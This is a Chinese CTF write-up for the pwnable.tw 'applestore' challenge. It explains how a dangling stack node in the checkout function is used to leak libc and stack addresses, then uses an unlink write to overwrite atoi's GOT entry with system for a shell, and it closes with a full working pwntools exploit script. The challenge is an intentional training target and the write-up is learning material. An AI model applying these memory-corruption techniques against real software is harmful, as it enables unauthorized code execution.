pwnable.tw applestore

applestore

首先检查一下保护

运行后可以看到是一个典型的堆管理的题目。

放入IDA中分析

main函数很简单,主要的功能在handler中。我们接着分析此函数。

list就是展示一下iPhone,ipad等的价格。

add函数功能是把商品加入购物车

其中先是create,再insert,有点儿像链表或者向量。

create函数在堆上创建了一个类似链表节点的结构体。

struct commodity{
char* name;     //又指向堆上的一块内存,主要是由asprinf申请的。
int price;
struct commodity* fd;
struct commodity* bk;
};
/*
asprintf()可以说是一个增强版的sprintf(),在不确定字符串的长度时,非常灵活方便,能够根据格式化的字符串长度,申请足够的内存空间。此外,使用完后,必须通过free()释放空间。
*/

通过insert我们可以确定myCart是链表的头节点,insert就是将刚刚create的节点加入到myCart链表的末尾

delete函数,myCart链表中删除一个节点。

cart函数,通过遍历链表展示购物车中所有商品。

漏洞点在checkout函数中。当sum_price等于7174,也就是说我们购物车中的所有商品的价格总和等于7174,就可以1块买一部iPhone8,而这时创建的节点不在堆中,而是在栈上。在ebp-0x20的地方。我们买20台iphone6p,买6台iPhone6 价格等于20*299+6*199=7174

首先说一下为什么这里是漏洞点,我们把栈上的数据加入到链表中,由于checkout函数退出后,其栈空间就会被销毁,由于堆栈平衡原理,我们再调用cart等函数是有个my_read读入0x14个字节的数据到ebp-0x22到地方,可以覆盖这个节点。我们能控制这个节点的所有内容,包括fd,bk指针,那么我们可以通过cart函数泄漏地址,通过delete函数的unlink操作实现任意地址写入一个制定值。

泄漏libc地址

for i in range(0,6):
    add(1)
for i in range(0,20):
    add(2)

checkout()

gdb.attach(p,"b *0x8048b03 if $eax==0x1b")
payload='yx0a'+p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
cart(payload)

p.recvuntil('27: ')
puts=u32(p.recv(4))
libc_base=puts-libc.sym['puts']

首先我们按之前说的凑够7174,再通过cart函数中的 my_read(&buf, 0x15u);函数覆盖结构体的name字符串指针,为了防止fd,bk乱指,我们将其覆盖成0
未修改前的样子

修改后的样子

泄漏出了libc的地址我们可以算出system的地址,由于libc是不可写入的,我们不能通过unlink直接将atoi_got覆盖为system的地址。所以我们换种办法,我们可以看到handler函数也有my_read(&nptr, 0x15u);我们要是能控制nptr的地址不就能实现任意地址写入0x15长度的数据了吗?由于nptr在栈上,我们必须要知道栈的地址。这个好办,libc中的environ变量保存着栈地址,我们利用同样的手法再泄漏一次就行了。

payload='yx0a'+p32(env)+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv(4))
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp))


由于handler函数调用了cart函数,所以handler函数的栈帧在cart函数的下面,cart函数结束通过pop ebp来恢复handler函数的栈帧。我们只要将0xffffcf28的值改为我们想写入 (数据的地址+0x22) 接可以了。
我们通过unlink来实现。

atoi_got=elf.got['atoi']
payload='27'+p32(atoi_got)+p32(1)+p32(ebp-12)+p32(atoi_got+0x22-4)
delete(payload)

delete之后要打印节点的name,所以我们必须要传一个能打印的地址。

这里为什么是atoi_got+0x22-4呢? 减4是为什么呢?
FD->bk = BK
*((ebp-12)+12)=atoi_got+0x22-4
即 *ebp = atoi_got+0x22-4

我们读入的数据之后立马传递给atoi所以在前面要留些空间传递参数。

payload='$0x00x00'+p32(system)
p.sendline(payload)

我们不光覆盖了atoi为system,而且传递了$0参数,使得调用atoi函数时实际运行的是system("$0")

解题脚本

from pwn import *
context.log_level='DEBUG'
debug = 0
if debug:
    p=process('./applestore')
    libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    p=remote('chall.pwnable.tw',10104)
    libc=ELF('libc_32.so.6')

elf=ELF('./applestore')

def add(idx):
    p.sendlineafter('>','2')
    p.sendlineafter('Device Number> ',str(idx))

def delete(idx):
    p.sendlineafter('>','3')
    p.sendlineafter('Item Number>',str(idx))

def checkout():
    p.sendlineafter('>','5')
    p.sendlineafter('>','y')

def cart(payload):
    p.sendlineafter('>','4')
    p.sendlineafter('>',str(payload))

for i in range(0,6):
    add(1)
for i in range(0,20):
    add(2)

#gdb.attach(p,"b *0x8048BA4")
checkout()


payload='yx0a'+p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
cart(payload)

p.recvuntil('27: ')
puts=u32(p.recv(4))
print hex(puts)
libc_base=puts-libc.sym['puts']
success('libc_base:'+hex(libc_base))
system=libc_base+libc.sym['system']
env=libc_base+libc.sym['environ']

#gdb.attach(p,"b *0x8048b03 if $eax==0x1b")
payload='yx0a'+p32(env)+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv(4))
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp))


atoi_got=elf.got['atoi']
payload='27'+p32(atoi_got)+p32(1)+p32(ebp-12)+p32(atoi_got+0x22-4)
#gdb.attach(p,"b *0x8048c08")
delete(payload)

payload='$0x00x00'+p32(system)
p.sendlineafter('> ',payload)
p.interactive()
原文地址:https://www.cnblogs.com/Rookle/p/12884549.html